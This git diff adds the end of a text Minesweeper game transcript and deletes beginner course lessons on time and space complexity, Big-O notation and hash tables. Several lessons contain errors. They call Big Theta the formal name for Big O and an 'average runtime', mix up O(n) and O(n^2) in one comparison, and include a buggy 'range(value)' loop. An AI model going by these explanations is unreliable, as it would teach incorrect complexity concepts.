+2 2F1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 10
+Mines: 3
+ 0123456789
+0 X2XXX1 0
+1 X311X1 1
+2 2F1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 20
+Mines: 3
+ 0123456789
+0 X2 1X1 0
+1 X311X1 1
+2 2F1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 30
+Mines: 3
+ 0123456789
+0 X2 1X1 0
+1 X311X1 1
+2 2F1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Enter your move (for help enter "H"): 41
+Mines: 3
+ 0123456789
+0 X2 1X1 0
+1 X31111 1
+2 2F1111 2
+3 1111F21 3
+4 1122F1 4
+5 1F22221 5
+6 13F21F1 6
+7 2F2111 7
+8 111 8
+9 9
+ 0123456789
+Well done! You solved the board!
\ No newline at end of file
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/1.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/1.md
deleted file mode 100755
index 8e4d01fc..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/1.md
+++ /dev/null
@@ -1,31 +0,0 @@
-
-
-**Time complexity** allows us to describe **how the time taken to run a function grows as the size of the input of the function grows.**
-
-In other words, in the function:
-
-```python
-value = [1, 2, 3, 4, 5]
-
-def valueSum(value):
- sum = 0
- for i in range(value):
- sum = sum + i
- return sum
-```
-The amount of time this function takes to run will grow as the number of elements in the array increase. If the elements in the array `value` went up to 1,000,000, the amount of the time it would take for the function to compute would be much higher than if the array only went up to 10.
-
-Time complexity answers the question: "At what rate does the time increase for a function as the input increases". **However**, it does not answer the question, "How long does it take for a function to compute?", because the answer relies on hardware, language, etc..
-
-The rate of a function's growth can be described as **constant**, **linear**, **quadratic**, and so on (as depicted in the graph below).
-
-[//]: # "insert 'timecomplexity' image"
-
-
-
-In our function, `valueSum()`, this is how the function's growth would look like. Note that, as `n` grows, so does the execution time in a linear fashion.
-
-For time complexity, functions can grow in **constant time**, **linear time**, **quadratic time**, and so on.
-
-
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/2.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/2.md
deleted file mode 100755
index 5dbed15f..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/2.md
+++ /dev/null
@@ -1,90 +0,0 @@
-
-
-Going back to our function `valueSum`:
-
-```python
-value = [1, 2, 3, 4, 5]
-
-def valueSum(value):
- sum = 0
- for i in value:
- sum = sum + i
- return sum
-```
-Say `value` contains n elements. Let's run through valueSum() line by line:
-
-`sum = 0` runs in constant time as it is simply assigning a value to the variable `sum` and only occurs once. For this line, the runtime is **c1**.
-
-The for loop statement expresses a variable `i` iterating over each element in `value`. This creates a loop that will iterate *n* times since `value` contains *n* elements.
-
-`sum = sum + i` occurs in constant time as well. Let's say this line runs in *c2* time. Since the loop body repeats however many times the loop is iterated, we can multiply *c2* by *n*. Now we have **c2 * n** for the runtime of the entire for loop.
-
-Lastly, `return sum` is simply returning a number and only happens once. So, this line also runs in constant time which we'll note as **c3**.
-
-##### Putting it all together:
-If we add all the individual runtimes we found, we'll get `f(n) = c2*n + c1 + c3`. Look familiar? It's in the form of a linear equation `f(n) = a*n + b` where a and b are constants. We can predict that `valueSum()` grows in linear time.
-
-But what does it mean to grow in linear time? As the size of the list `value` increases, the time it takes for `valueSum()` to run increases proportionally (think of it as a direct proportion).
-
-Let's test it out with different input sizes for `value`:
-
-[//]: # "insert 'linear' image"
-
-For every 1000 element increase in `value`, the time it takes for `valueSum()`to run increases roughly 0.05 milliseconds which is a linear relationship!
-
-##### Let's look at a different function and try to predict how it will grow.
-
-```python
-value = range(6)
-
-def three(value):
- sum = 0
- return(sum)
-```
-
-Let's start by dividing our function by lines.
-
-`sum = 0` only repeats once, so we know this line will take a constant amount of time **c1**.
-`return(sum)` also only repeats once, so we can infer that this line carries out in constant time **c2**.
-
-Hence, we predict that `three()` grows in **constant time**.
-
-[//]: # "insert 'constant' image"
-
-As shown in the image above, for any number of elements in `value`, `valueSum()` always takes about 0.001 milliseconds to run.
-
- Time.png)
-Our prediction is true. Since both lines take constant time, adding them up is also still constant time, and our graph looks like a straight line.
-
-##### Let's look at one last function:
-
-```python
-keypad = [[1, 2, 3],
- [4, 5, 6],
- [7, 8, 9],
- [0]]
-def listInList(keypad):
- sum = 0
- for row in keypad:
- for i in row:
- sum += i
- return sum
-```
-
-Again, we will be trying to predict what time this function grows in.
-
-If we divide the function into parts, we get the lines `sum = 0`, `sum += i`, and `return sum` .
-`sum = 0` repeats once, so the time for this line to process is constant.
-
-`sum += i` is in a *for loop* so it might be intuitive to think that this line only repeats *n* times. However, this for loop is nested within another for loop, so the total number of iterations would be *n^2*.
-
-Lastly `return sum` repeats once, so this line will be processed in constant time.
-
-Since our function has a line that repeats itself n^2 times, we predict that this function grows in **quadratic time**. Take a look at the tests below with varying input sizes.
-
-[//]: # "insert 'quadratic' image"
-
-If we graph this out, it will look like the graph below:
-
-
-Looking at the graph, we see our prediction is indeed correct. Quadratic runtime starts growing quite quickly in comparison to a linear runtime. Something else to note is that the equation for a quadratic equation is **a*n^2*+b*n*+c** where a, b and c are constants.
\ No newline at end of file
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/3.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/3.md
deleted file mode 100755
index 45e41be0..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/3.md
+++ /dev/null
@@ -1,50 +0,0 @@
-
-
-To summarize briefly so far, the time of an algorithm or function's run time will be the sum of the time it takes for all the lines in the code of the algorithm to run. This runtime growth can be written as a function.
-
-Remember that elementary functions such as `+, -, *, \, =` always take a constant amount of time to run. **Thus, when we see these functions, we assign them the value *c* time.**
-
-### How can we tell the time complexity just from the function?
-
-Going back to our function `valueSum`,
-
-```python
-value = [1, 2, 3, 4, 5]
-
-def valueSum(value):
- sum = 0
- for i in value:
- sum = sum + i
- return sum
-```
-
-From before, we analyzed `valueSum()` line by line and got `f(n) = c2*n + c1 + c3` when we added everything. This equation is actually a function of time where *n* is the input size and *f(n)* is the runtime; we can treat *f(n)* as *Time(Input)*. We can use the fastest growing term to determine the behavior of the equation; in this case, it is the **c2 * n** term. If we simply look at `Time(Input) = c2*n`, we know easily that the function is linear and that the runtime of `valueSum()` is *linear*.
-
-Let's look at the function `three` again:
-
-```python
-value = range(6)
-
-def three(value):
- sum = 0
- return(sum)
-```
-
-Previously, we found `sum = 0` to have a runtime of **c1** and `return(sum)` to have a runtime of **c2**. Adding them together, we get the function of time `Time(Input) = c1 + c2`. We can treat *c1 + c2* as one constant and call it **c3**. Now we have `T(I) = c3`. This makes it very obvious that the runtime of `three()` is *constant*.
-
-Let's do the same for `listInList()`:
-```python
-keypad = [[1, 2, 3],
- [4, 5, 6],
- [7, 8, 9],
- [0]]
-def listInList(keypad):
- sum = 0
- for row in keypad:
- for i in row:
- sum += i
- return sum
-```
-
-We deducted that `sum = 0` has constant runtime **c1**, the loop structure has runtime of **n^2**, and `return sum` runs in **c2** time. Putting it into a function, we get `Time(Input) = n^2 + c1 + c2`. If we isolate the fastest growing term, we get `T(I) = n^2` which reveals the runtime to be *quadratic*.
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/4.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/4.md
deleted file mode 100755
index f128018f..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/4.md
+++ /dev/null
@@ -1,101 +0,0 @@
-
-
-Similar to time complexity, as functions' input grows very large, they will take up an increasing amount of memory; this is **space complexity**. In fact, these functions' memory usage also grows in a similar fashion to time complexity and we describe the growth in the same way. We describe it as *linear*, *quadratic*, etc. time.
-
-For example:
-
-```
-m = 3
-```
-
-This line will always take a constant amount of memory/space. No matter what function it is in, since it's a simple value, it will always take a constant amount of memory. We can express that amount of memory as `c1`.
-
-If we had an array such as:
-
-```python
-value = [1, 2, 3, 4, 5]
-```
-
-We know that the more elements that are in `value`, the more memory it will require. In fact, the amount of memory the `value` array needs is exactly a constant amount of memory multiplied by the amount of elements. In other words, `value` requires **c1 * n** amount of memory.
-
-Let's look at `keypad`
-
-```python
-keypad = [[1, 2, 3],
- [4, 5, 6]
- [7, 8, 9]
- [0]]
-```
-
-We have an array filled with elements that are always arrays. Similar to time complexity, the amount of memory `keypad` will need is **c1 * n * n**. In other words, **c1 * n^2** where **c1** is the amount of the memory an element uses.
-
-### We want to be able to write a function in order to calculate how much a function or algorithm will use.
-
-Primitive values such as integers, floats, strings, etc. will always take up a constant amount of memory. Complex data structures such as `arrays` take up `k * c` amount of memory where *c* is an amount of memory and *k* is the number of elements in the array. Going back to our `valueSum` function...
-
-``` python
-value = [1, 2, 3, 4, 5]
-
-def valueSum(value):
- sum = 0
- for i in value:
- sum = sum + i
- return sum
-```
-
-To describe the amount of memory this function will require, we will write an expression similar to what was done for *time complexity*. We will call our expression: *Space(Input)* as space is a function of the input.
-
-Let's try and find the Space(Input) equation for this function. To start, let's break down the function line by line.
-
-We are working with integers `sum` and `i`, with space values **c1** and **c2** respectively.
-
-We have a complex data structure, `value = [1, 2, 3, 4, 5]`, so we know that the amount of memory is **c3 * n** where *n* is the length of the range, `valueSum`.
-
-Our Space(Input) equation should look like:
-
-$$
-Space(Input) = c1 + c2 + c3*n
-$$
-Our equation represented by the dominant (fastest growing) term would simply be **c3 * n**.
-
-**Lets look at another familiar function, `listInList`**
-
-```python
-keypad = [[1, 2, 3],
- [4, 5, 6],
- [7, 8, 9],
- [0]]
-
-def listInList(keypad):
- sum = 0
- for row in keypad:
- for i in row:
- sum += i
- return sum
-```
-
-We work with two numbers, `i` and `sum`. These require **c1** and **c2** amount of memory.
-
-Each element in `keypad` will require **c3** amount of memory. We can conclude that the array `keypad` requires **c1 * n^2** amount of memory.
-
-The Space(Input) equation for `keypad` looks something like this.
-
-$$
-Space(Input) = c1 + c2 + c3*n^2
-$$
-Our equation represented by the dominant term would be **c3 * n^2**
-
-## Optimize Time or Optimize Memory?
-
-The greater the input of a function, the greater amount of time and memory that the function will require to operate. A common question is **"Is it better to have our function run faster, but require more space; or should we have our function require less space, but run slower?"**
-
-We can either have our function run faster, but require more memory or our function run slower, but require less memory.
-
-The general answer is to have our function run faster. It is always possible to buy more space/memory. It's impossible to buy extra time. Hence, the general rule is to **prioritize** having our function/algorithm run faster.
-
-
-
-
-
-
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/5.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/5.md
deleted file mode 100755
index e10744ea..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/5.md
+++ /dev/null
@@ -1,129 +0,0 @@
-
-
-Now that we have an understanding of *time complexity* and *space complexity* and how to express them as functions of time, we can elaborate on the way we express these functions. **Big-O Notation** is a common way to express these functions.
-
-Instead of using terms like *Linear Time*, *Quadratic Time*, *Logarithmic Time*, etc., we can write these terms in **Big-O Notation**. Depending on what time the function increases by, we assign it a **Big-O** value. **Big-O** notation is incredibly important because it allows us to take a more mathematical and calculated approach to understanding the way functions and algorithms grow.
-
-**Big-O notation** is also useful because it simplifies how we describe a function's time complexity and space complexity. So far, we have defined a function of time as a number of terms. With Big-O notation, we are able to use only the dominant, or fastest growing, term!
-
-## How to Write in Big-O Notation
-
-To write in **Big-O Notation** we use a capital O followed with parentheses : **O()**.
-
-Depending on what is inside of the parentheses will tell us what time the function grows in. Let's look at an example.
-
-```python
-value = [1, 2, 3, 4, 5]
-
-def valueSum(value):
- sum = 0
- for i in value:
- sum = sum + i
- return sum
-```
-
-Going back to our `valueSum` function, we had previously expressed the runtime of this function as input increase. We had written the expression *Time(Input)* and the components its made of.
-
-**Time(Input) = c1 + c2*n + c3**
-
-`c1` comes from the line `sum = 0` . We know `sum = 0` will always take the same amount of time to run because we are assigning a value to a variable. We call this *constant time* because no matter what function this line is in, it will take the same amount of time to run.
-
-Since **c1** runs in constant time, we would write it as **O(1)** in **Big-O Notation**. Notice that the line repeats only once.
-
-`sum = sum + i` is responsible for **c2** in our equation. We multiply **c2** by *n* however because **c2** is repeated multiple times. The runtime of this function increase linearly depending on the amount of elements that are added to `sum`.
-
-In **Big-O Notation**, this line would be rewritten as **O(n)** and would inform us that this line runs in *linear time*. We use the dominant term which is **c2 * n**. Since **c2 * n** and **n** behave the same (linearly), we can drop the coefficient of *c2*.
-
-Lastly, `return sum` is written as **O(1)** because it operates under constant time.
-
-Rewriting our `valueSum` function but in **Big-O notation**, we would have:
-
-```
-Time(Input) = O(1) + O(n) + O(1).
-```
-
-We've written the lines of the function in **Big-O Notation**, but now we need to write the function itself in **Big-O Notation**. The way we do that is to choose the term that is growing the fastest in the function (the dominant term) as *n* gets very large. We then disregard any coefficients of that term. Then assign that term for the function.
-
-For `valueSum`, the fastest growing term is **c2 * n** . If we ignore **c2** , we are left with just `n`. We now know that the time complexity of `valueSum` is **O(n)** and the runtime of `valueSum` grows in a linear fashion.
-
-Let's look at another example.
-
-In the function `listInList`:
-
-```python
-keypad = [[1, 2, 3],
- [4, 5, 6],
- [7, 8, 9],
- [0]]
-def listInList(keypad):
- sum = 0
- for row in keypad:
- for i in row:
- sum += i
- return sum
-```
-
-`listInList` expressed as a function of time looks like this:
-
-$$
-Time(Input) = c1 + c2 * n^2 + c3
-$$
-We know that **c1** corresponds to **O(1)** .
-**c2 * n^2** is written as **O(n^2)**.
-**c3** is written as **O(1)** since it operates under constant time.
-
-The fastest growing term is **c2 * n^2** so we know that this term defines how our function is written in **Big-O Notation**. Dropping the coefficient, **c2**, our function is expressed as **O(n^2)**. in **Big-O Notation**. This tells us that `listInList` grows in quadratic time.
-
-As for our last example, let's make a quick edit to our function `listInList` and call it `listInList2`.
-
-```python
-keypad = [[1, 2, 3],
- [4, 5, 6],
- [7, 8, 9],
- [0]]
-def listInList2(keypad):
- sum = 0
- for row in keypad:
- for i in row:
- sum += i
- for row in keypad:
- for i in row:
- sum += i
- while sum <= 100:
- sum += 1
- return sum
-```
-
-Notice that we doubled the amount of *for loops* in our function. We have to account for that when writing `listInList2` as a function of time. Since we have extra lines in our code, we need to add a term to our **Time(Input)** expression. To account for a double for loop, we can simply add another **n^2 * c2** to our **Time(Input) expression**.
-
-$$
-T(I) = c1 + (c2 * n^2) + (c2 * n^2) + (c3 * n) + c4
-$$
-
-
-The fastest growing term is **n^2 * c2** but we have two of them. Since **n^2 * c2** corresponds to **O(n^2)**, we are left with:
-
-**Time(Input) = O(n^2) + O(n^2)**
-
-This can simply be rewritten as:
-
-**Time(Input) = 2 * O(n^2)**
-
-It might be intuitive to think that our function written in **Big-O notation** would be **2 * O(n^2)** or even **O(2n^2)**, but we have to remember that **Big-O notation only tells us what time a function grows in**. **O(n^2)** and **O(2n^2)** both grow in the same fashion, quadratic, so we can simply write the function as **O(n^2)**.
-
-It is very important to remember that Big-O notation is determined by the fastest growing term as `n` gets very large. When n is small, c3 * n will grow faster than c2 * n^2. **Big-O notation is determined when n is very large** because time and space complexities focus on when inputs are very large; not small.
-
-
-
-### Time expressed in Big-O Notation
-
-| Time | Big O Notation |
-| ---------------- | -------------- |
-| Constant Time | O(1) |
-| Linear Time | O(n) |
-| Quadratic Time | O(n^2) |
-| Logarithmic Time | O(log n) |
-| Factorial Time | O(n!) |
-
-In the table, there are some other times you should know of. The graph lists the growth of functions from slowest to fastest. A function in **O(1)**'s runtime grows the slowest, and a function in **O(n!)** grows the fastest. Needless to say, we want our functions to be **constant or linear time.**
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/6.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/6.md
deleted file mode 100755
index 5f8f86ed..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act1_TimeAndSpaceComplexity/6.md
+++ /dev/null
@@ -1,49 +0,0 @@
-
-
-These are the official names of **Big-O** notation. They are all relatively similar, but are terms with their own unique purpose. The **Big O** we have been talking about this entire time is formally known as **Big Theta**. In the work and the industry, **Big Theta** is referred to as simply **Big O**. To avoid confusion, from now on, **Big Theta** will refer to the workplace Big-O and **Big (O)** will be the formal definition.
-
-#### What are they?
-
-**Big (O)** is the upper bound of a function. It describes a function whose curve on a graph, at least after a certain point on the x-axis (input size), will always be higher on the y-axis (time) than the curve of the runtime.
-
-To explain in simpler terms, let's say I have a chocolate bar. I give you half of the chocolate bar, then half of the chocolate I have leftover, then half of the new leftover, and so on. Theoretically, this could go on forever and eventually how much chocolate you have will converge to some amount. We can set an *upper bound* for how much chocolate you have to be 1; we have just applied the **Big (O)** concept. No matter how long this exchange goes on for, I will always be holding onto some tiny bit of the chocolate. The amount of chocolate that you have won't actually reach an entire bar, but you may be very close!
-
-We could have chosen our upper bound to be as high as we want. Let it be 1 million and we can say for 100% certainty that we won't be wrong. However, this isn't very useful because we are allowing such a wide range which is why it is best if we try to establish the smallest range possible.
-
-Let's apply this concept to Computer Science terms.
-
-Let's say that `functionA` runs in **O(n^2) time**. If we compare it to `functionB` , which runs in **O(n!)** time, we know that `functionA`'s runtime will never exceed `functionB`'s runtime.
-
-
-
-You can see the runtime of **O(n)** never exceeds the runtime of **O(n!)**
-
-##### Why is this useful?
-
-In the absolute worst case scenario, we know the ceiling of `functionA`'s runtime. We are then able to prepare for it and ensure that our computer or hardware will be able to handle running the function.
-
-### Big Omega
-
-Similar to **Big (O)**, we also have **Big Omega**. **Big Omega** is just the opposite; it is the lower bound of our function.
-
-Let's look at our chocolate example again. The same conditions hold true. We can establish the lower bound of how much chocolate you have to be 3/4. Why is this a valid lower bound? Because you will eventually exceed having 3/4 of the chocolate. **Remember when looking for bounds, we want one that holds true after a certain point and not necessarily from the beginning.**
-
-In terms of Python, let's say we have a `functionC` that runs on **O(n)** time. If we have `functionC` which grows on **O(n)** time, that would function as the **Big Omega** for our function, `functionA`.
-
-[//]: # (insert 'functionC vs functionA' image)
-
-`functionA`'s runtime grows faster than `functionC` after a certain point. After that certain point, we know with absolute certainty that the runtime of `functionA` will never be faster than `functionC`.
-
-### Big Theta
-
-Lastly, we have **Big Theta**. Big Theta is simply **Big O**'s formal name. **Big Theta** is the average runtime of a function. Going back to when we were determining the **Big O** notation for a function, we would write each line in the function in **Big O notation**.
-
-For example,
-
-$$
-Time(Input) = O(1) + O(n) + O(1).
-$$
-
-
-We then dropped every term except the fastest growing term (**O(n)**), and made that term define the function. By dropping all the terms, we are estimating the runtime of the function and finding our **Big Theta**.
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/1.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/1.md
deleted file mode 100644
index 79993510..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/1.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-**Hash tables** are a type of data structure in which the address or the index value of the data element is generated from a hash function. A **hash function** is any function that can be used to map data of arbitrary size to fixed-size values. The values returned by a hash function are called **hash values**. The values are used to index a fixed-size table which is the Hash table. Use of a hash function to index a hash table is called **hashing**.
-
-
-
-That makes accessing the data faster as the index value behaves as a key for the data value. In other words Hash table stores key-value pairs but the key is generated through a hashing function.
-
-Thus, the search and insertion function of a data element becomes much faster as the key values themselves become the index of the array, which stores the data.
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/2.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/2.md
deleted file mode 100644
index 3cf51865..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/2.md
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
-
-
-**Hashing** is a technique that is used to uniquely identify a specific object from a group of similar objects. Some examples of how hashing is used in our lives include:
-
-- In universities, each student is assigned a unique roll number that can be used to retrieve information about them.
-- In libraries, each book is assigned a unique number that can be used to determine information about the book, such as its exact position in the library or the users it has been issued to etc.
-
-In both these examples the students and books were hashed to a unique number.
-
-Assume that you have an object and you want to assign a key to it to make searching easy. To store the key/value pair, you can use a simple array like a data structure where keys (integers) can be used directly as an index to store values. However, in cases where the keys are large and cannot be used directly as an index, you should use *hashing*.
-
-In hashing, large keys are converted into small keys by using **hash functions**. The values are then stored in a data structure called **hash table**. The idea of hashing is to distribute entries (key/value pairs) uniformly across an array. Each element is assigned a key (converted key). By using that key you can access the element in **O(1)** time. Using the key, the algorithm (hash function) computes an index that suggests where an entry can be found or inserted.
-
-
-
-Hashing is implemented in two steps:
-
-1. An element is given an integer by using a hash function. This integer can be used as an index to store and access the original element, which falls into the hash table.
-
-2. The element is stored in the hash table where it can be quickly retrieved using hashed key.
-
- hash = hashfunc(key)
- index = hash % array_size
-
-After performing these two steps, the hash is independent of the array size and it is then reduced to an index (a number between 0 and array_size − 1) by using the modulo operator (%).
-> Reminder, the modulo operator (%) has two arguments and returns the remainder after division between the two numbers.
-
-**Hash function**
-A hash function is any function that can be used to map a data set of an arbitrary size to a data set of a fixed size, which falls into the hash table. The values returned by a hash function are called hash values, hash codes, hash sums, or simply hashes.
-
-To achieve a good hashing mechanism, It is important to have a good hash function with the following basic requirements:
-
-1. Easy to compute: It should be easy to compute and must not become an algorithm in itself.
-
-2. Uniform distribution: It should provide a uniform distribution across the hash table and should not result in clustering.
-
-3. Less collisions: Collisions occur when pairs of elements are mapped to the same hash value. These should be avoided.
-
- **Note**: Irrespective of how good a hash function is, collisions are bound to occur. Therefore, to maintain the performance of a hash table, it is important to manage collisions through various collision resolution techniques.
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/3.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/3.md
deleted file mode 100644
index 933cff60..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/3.md
+++ /dev/null
@@ -1,54 +0,0 @@
-
-
-
-
-
-
-Let us understand the need for a good hash function. Assume that you have to store strings in the hash table by using the hashing technique {“abcdef”, “bcdefa”, “cdefab” , “defabc” }.
-
-To compute the index for storing the strings, use a hash function that states the following:
-
-The index for a specific string will be equal to the sum of the ASCII values of the characters modulo 599.
-
-As 599 is a prime number, it will reduce the possibility of indexing different strings (collisions). It is recommended that you use prime numbers in case of modulo. The ASCII values of a, b, c, d, e, and f are 97, 98, 99, 100, 101, and 102 respectively. Since all the strings contain the same characters with different permutations, the sum will 599.
-
-
-
-The hash function will compute the same index for all the strings and the strings will be stored in the hash table in the following format. As the index of all the strings is the same, you can create a list on that index and insert all the strings in that list.
-
-
-
-> Note: here, it will take **O(n)** time (where n is the number of strings) to access a specific string. This shows that the hash function is not a good hash function.
-
-* *
-
-| ASCII Value | Letter |
-| ----------- | ------ |
-| 97 | a |
-| 98 | b |
-| 99 | c |
-| 100 | d |
-| 101 | e |
-| 102 | f |
-> Chart for Ascii Values
-
-Here, it will take **O(n)** time (where n is the number of strings) to access a specific string. This shows that the hash function is not a good hash function.
-
-Let’s try a different hash function. The index for a specific string will be equal to sum of ASCII values of characters multiplied by their respective order in the string after which it is modulo with 2069 (prime number).
-
-String Hash function Index
-abcdef (97*1 + 98*2 + 99*3 + 100*4 + 101*5 + 102*6)%2069 38
-bcdefa (98*1 + 99*2 + 100*3 + 101*4 + 102*5 + 97*6)%2069 23
-cdefab (99*1 + 100*2 + 101*3 + 102*4 + 97*5 + 98*6)%2069 14
-defabc (100*1 + 101*2 + 102*3 + 97*4 + 98*5 + 99*6)%2069 11
-
-
-
->Calculating the value for 'abcdef'.
->a = 97 * 1 // It is in the first position
->b = 98*2 // it is in the second position
->c = 99*3 // It is in the third position
->d = 100*4 // It is in the fourth position
->e = 101*5 // it is in the fifth position
->f = 102*6 // It is in the sixth position
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/4.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/4.md
deleted file mode 100644
index cbd9844c..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/4.md
+++ /dev/null
@@ -1,27 +0,0 @@
-
-
-
-
-
-
-Hash table (hash map) is a kind of data structure used to implement an associative array, a structure that can map keys to values. Ideally, the hash function will assign each key to a unique bucket, but sometimes it is possible that two keys will generate an identical hash causing both keys to point to the same bucket. They are known as **hash collisions**.
-> A bucket is simply a fast-access location (like an array index) that is the the result of the hash function.
-
-
-
-The figure shows incidences of collisions in different table locations. We'll assign strings as our input data: [John, Janet, Mary, Martha, Claire, Jacob, and Philip]. Our hash table size is 6. As the strings are evaluated at input through the hash functions, they are assigned index keys (0, 1, 2, 3, 4, or 5). We store the first string John, then Janet and Mary. All is fine, but when we try to store Martha, the hash function assigns Martha the same index key as Janet. Now, because a second value is attempting to map to an already occupied index key, a collision occurs as seen in figure we've been using. Three out of the six locations are occupied, and the probability that the remaining strings yet to be loaded will cause other collisions is very high.
-
-
-
-So we now return to the problem of collisions. When two items hash to the same slot, we must have a systematic method for placing the second item in the hash table. This process is called **collision resolution**.
-
-
-
-### How to handle Collisions?
-
-There are mainly two methods to handle collision:
-
-- 1) Separate Chaining
-- 2) Open Addressing
-
-We will elaborate further on these concepts in the following cards.
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/5.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/5.md
deleted file mode 100644
index 8205d217..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/5.md
+++ /dev/null
@@ -1,28 +0,0 @@
-
-
-
-
-
-
-In this card, we will exploring a methodk nown as **separate chaining** which is an essential part of Data Structures.
-In the method known as **separate chaining**, each bucket is independent, and has some sort of **list** of entries with the same index. In other words, it's defined as a method by which lists of values are built in association with each location within the hash table when a collision occurs.
-
-As each index key is built with a linked list, this means that the table's cells have linked lists governed by the same hash function. So, in place of the collision error which occurred in the figure we used in the last section, the cell now contains a linked list containing the string 'Janet' and 'Martha' as seen in this new figure. We can see in this figure how the subsequent strings are loaded using the separate chaining technique.
-
-
-
-
-
-### Advantages:
-1) Simple to implement.
-2) Hash table never fills up, we can always add more elements to the chain.
-3) Less sensitive to the hash function or load factors ( A load factor is the ratio of keys divided by capacity ).
-4) It is mostly used when it is unknown how many and how frequently keys may be inserted or deleted.
-> A load factor is simply the ratio of entires in hash table to size of the array
-
-### Disadvantages:
-1) Cache performance of chaining is not good as keys are stored using a linked list. Open addressing provides better cache performance as everything is stored in the same table.
-2) Wastage of Space (Some Parts of hash table are never used)
-3) If the chain becomes long, then search time can become O(n) in the worst case.
-4) Uses extra space for links.
-
diff --git a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/6.md b/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/6.md
deleted file mode 100644
index e7dd56f0..00000000
--- a/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/6.md
+++ /dev/null
@@ -1,82 +0,0 @@
-
-
-
-
-
-
-
-### Open Addressing
-
-The **open addressing** method has all the hash keys stored in a fixed length table. With this method a hash collision is resolved by **probing**, or searching through alternate locations in the array (the *probe sequence*) until either the target record is found, or an unused array slot is found, which indicates that there is no such key in the table. We use a hash function to determine the base address of a key and then use a specific rule to handle a collision. Each location in the table is either empty, occupied or deleted.
-- **Empty** is the default state of all spaces in the table before any data is ever stored.
-- **Occupied** means that there is currently a key-value pair stored in the location.
-- **Deleted** means there was once a value stored in the space, but it has been marked deleted. Although deleted positions are treated the same as empty positions for the insert operations, those deleted positions are treated as occupied when doing data retrieval.
-
-
-Below are the basic process of inserting a new key (*k*) using open addressing:
-
-1. Compute the position in the table where *k* should be stored.
-
-2. If the position is empty or deleted, store *k* in that position.
-
-3. If the position is occupied, compute an alternative position based on some defined hash function.
-
-The alternative position can be calculated using:
-
-- **linear probing:** distance between probes is constant (i.e. 1, when probe examines consequent slots);
-- **quadratic probing:** distance between probes increases by certain constant at each step (in this case distance to the first slot depends on step number quadratically);
-- **double hashing:** distance between probes is calculated using another hash function.
-
-> A probe is simply the distance from your the current position that is being search to the previous position.
-
-
-### Linear Probing
-
-By systematically visiting each slot one at a time, we are performing an open addressing technique called **linear probing**. When the hash function causes a collision by mapping a new key to a cell of the hash table that is already occupied by another key, linear probing searches the table for the closest following free location and inserts the new key there. Lookups are performed in the same way, by searching the table sequentially starting at the position given by the hash function, until finding a cell with a matching key or an empty cell.
-
-Considering the interval between successive probes is fixed (usually to 1), let’s assume that the hashed index for a particular entry is **index**. The probing sequence for linear probing will be:
-
-index = index % hashTableSize
